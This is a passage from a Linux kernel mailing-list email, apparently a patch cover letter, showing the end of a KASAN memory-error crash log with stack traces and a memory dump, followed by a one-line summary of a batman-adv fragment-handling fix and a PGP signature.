234.449045] [ C0] rtnetlink_rcv_msg (build/../net/core/rtnetlink.c:6984) > [ 234.449069] [ C0] netlink_rcv_skb (build/../net/netlink/af_netlink.c:2547) > [ 234.449081] [ C0] netlink_unicast (build/../include/linux/instrumented.h:112 build/../include/linux/atomic/atomic-instrumented.h:104 build/../net/netlink/af_netlink.c:1314 build/../net/netlink/af_netlink.c:1344) > [ 234.449093] [ C0] netlink_sendmsg (build/../net/netlink/af_netlink.c:1875) > [ 234.449105] [ C0] ____sys_sendmsg (build/../net/socket.c:790 (discriminator 1) build/../net/socket.c:2695 (discriminator 1)) > [ 234.449117] [ C0] ___sys_sendmsg (build/../net/socket.c:2749) > [ 234.449130] [ C0] __sys_sendmsg (build/../net/socket.c:593 build/../net/socket.c:2780) > [ 234.449143] [ C0] do_syscall_64 (build/../include/linux/entry-common.h:109 (discriminator 2) build/../include/linux/entry-common.h:147 (discriminator 2) build/../include/linux/entry-common.h:178 (discriminator 2) build/../arch/x86/entry/syscall_64.c:89 (discriminator 2)) > [ 234.449156] [ C0] entry_SYSCALL_64_after_hwframe (build/../arch/x86/entry/entry_64.S:121) > > [ 234.449178] [ C0] The buggy address belongs to the object at ffff88807cd19000 > which belongs to the cache kmalloc-cg-4k of size 4096 > [ 234.449196] [ C0] The buggy address is located 560 bytes inside of > freed 4096-byte region [ffff88807cd19000, ffff88807cd1a000) > > [ 234.449217] [ C0] The buggy address belongs to the physical page: > [ 234.449234] [ C0] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff88807cd1c000 pfn:0x7cd18 > [ 234.449265] [ C0] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0 > [ 234.449276] [ C0] memcg:ffff88801b8a9b51 > [ 234.449286] [ C0] flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff) > [ 234.449312] [ C0] page_type: f5(slab) > [ 234.449335] [ C0] raw: 00fff00000000240 ffff888100050f40 ffffea000452aa10 ffffea0004464c10 > [ 234.449347] [ C0] raw: ffff88807cd1c000 0000000000020001 00000001f5000000 ffff88801b8a9b51 > [ 234.449359] [ C0] head: 00fff00000000240 ffff888100050f40 ffffea000452aa10 ffffea0004464c10 > [ 234.449370] [ C0] head: ffff88807cd1c000 0000000000020001 00000001f5000000 ffff88801b8a9b51 > [ 234.449381] [ C0] head: 00fff00000000003 ffffea0001f34601 ffffffffffffffff 0000000000000000 > [ 234.449392] [ C0] head: 0000000700000008 0000000000000000 00000000ffffffff 0000000000000000 > [ 234.449401] [ C0] page dumped because: kasan: bad access detected > [ 234.449416] [ C0] page_owner tracks the page as allocated > [ 234.450282] [ C0] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 10382, tgid 10382 (systemd), ts 209620171625, free_ts 207177527654 > [ 234.452951] [ C0] post_alloc_hook (build/../mm/page_alloc.c:6932) > [ 234.452990] [ C0] get_page_from_freelist (build/../mm/page_alloc.c:3815 (discriminator 1)) > [ 234.453004] [ C0] __alloc_pages_noprof (build/../mm/internal.h:876 (discriminator 1) build/../mm/page_alloc.c:5272 (discriminator 1)) > [ 234.453017] [ C0] alloc_pages_mpol_noprof+0x1ab/0x4d0 > [ 234.453041] [ C0] new_slab (build/../mm/slub.c:882 build/../mm/slub.c:2291 build/../mm/slub.c:3497 build/../mm/slub.c:3525) > [ 234.453053] [ C0] ___slab_alloc (build/../include/linux/kasan.h:263 build/../mm/slub.c:5419) > [ 234.453065] [ C0] __slab_alloc.isra.0+0x5b/0xb0 > [ 234.453077] [ C0] __kmalloc_node_noprof (build/../mm/slub.c:2458 (discriminator 1) build/../mm/slub.c:4580 (discriminator 1) build/../mm/slub.c:4898 (discriminator 1) build/../mm/slub.c:5294 (discriminator 1) build/../mm/slub.c:5301 (discriminator 1)) > [ 234.453090] [ C0] seq_read_iter (build/../fs/seq_file.c:252) > [ 234.453117] [ C0] vfs_read (build/../include/linux/ioprio.h:41 build/../include/linux/ioprio.h:71 build/../include/linux/ioprio.h:84 build/../include/linux/fs.h:2195 build/../fs/read_write.c:489 build/../fs/read_write.c:574) > [ 234.453139] [ C0] ksys_read (build/../fs/read_write.c:714) > [ 234.453150] [ C0] do_syscall_64 (build/../include/linux/entry-common.h:109 (discriminator 2) build/../include/linux/entry-common.h:147 (discriminator 2) build/../include/linux/entry-common.h:178 (discriminator 2) build/../arch/x86/entry/syscall_64.c:89 (discriminator 2)) > [ 234.453165] [ C0] entry_SYSCALL_64_after_hwframe (build/../arch/x86/entry/entry_64.S:121) > [ 234.453178] [ C0] page last free pid 10382 tgid 10382 stack trace: > [ 234.454069] [ C0] free_unref_page+0x6a3/0x1050 > [ 234.454083] [ C0] qlist_free_all (build/../mm/kasan/quarantine.c:176) > [ 234.454097] [ C0] kasan_quarantine_reduce (build/../mm/kasan/quarantine.c:286) > [ 234.454109] [ C0] __kasan_krealloc (build/../mm/kasan/common.c:441) > [ 234.454122] [ C0] krealloc_noprof+0x104/0x140 > [ 234.454146] [ C0] copy_array.constprop.0 (build/../kernel/bpf/verifier.c:1273 (discriminator 3)) > [ 234.454195] [ C0] copy_verifier_state+0x97c/0xea0 > [ 234.454209] [ C0] pop_stack (build/../kernel/bpf/verifier.c:1681) > [ 234.454222] [ C0] do_check_common (build/../kernel/bpf/verifier.c:13620 build/../kernel/bpf/verifier.c:17654 build/../kernel/bpf/verifier.c:17789 build/../kernel/bpf/verifier.c:18804) > [ 234.454241] [ C0] bpf_check (build/../kernel/bpf/verifier.c:3134 (discriminator 1) build/../kernel/bpf/verifier.c:19996 (discriminator 1)) > [ 234.454254] [ C0] bpf_prog_load (build/../kernel/bpf/syscall.c:3001) > [ 234.454266] [ C0] __sys_bpf (build/../include/linux/rcupdate.h:839 (discriminator 1) build/../kernel/bpf/syscall.c:5591 (discriminator 1) build/../kernel/bpf/syscall.c:6299 (discriminator 1)) > [ 234.454278] [ C0] __x64_sys_bpf (build/../kernel/bpf/syscall.c:6361 (discriminator 1) build/../kernel/bpf/syscall.c:6359 (discriminator 1) build/../kernel/bpf/syscall.c:6359 (discriminator 1)) > [ 234.454290] [ C0] do_syscall_64 (build/../include/linux/entry-common.h:109 (discriminator 2) build/../include/linux/entry-common.h:147 (discriminator 2) build/../include/linux/entry-common.h:178 (discriminator 2) build/../arch/x86/entry/syscall_64.c:89 (discriminator 2)) > [ 234.454304] [ C0] entry_SYSCALL_64_after_hwframe (build/../arch/x86/entry/entry_64.S:121) > > [ 234.454326] [ C0] Memory state around the buggy address: > [ 234.454337] [ C0] ffff88807cd19100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > [ 234.454348] [ C0] ffff88807cd19180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > [ 234.454358] [ C0] >ffff88807cd19200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > [ 234.454368] [ C0] ^ > [ 234.454378] [ C0] ffff88807cd19280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > [ 234.454388] [ C0] ffff88807cd19300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > [ 234.454397] [ C0] ================================================================== > [ 234.454519] [ C0] Disabling lock debugging due to kernel taint > > -----END crash log----- > > Best regards, > Zhiling Zou > > Zhiling Zou (1): > batman-adv: fix stale receive device on merged fragments > > net/batman-adv/main.c | 4 ++++ > 1 file changed, 4 insertions(+) > > --nextPart5531211.31r3eYUQgx Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part. Content-Transfer-Encoding: 7Bit -----BEGIN PGP SIGNATURE----- iHUEABYKAB0WIQS81G/PswftH/OW8cVND3cr0xT1ywUCamuMpAAKCRBND3cr0xT1 y4NNAQDyiCkwioyFleFR+S1C/yxESANlylsGIS4O4LJUY3ybbgD8CVUeSor+IARB GxfH+9+53qmudjXwUaUS1SKLHSq/MQ0= =36ZP -----END PGP SIGNATURE----- --nextPart5531211.31r3eYUQgx--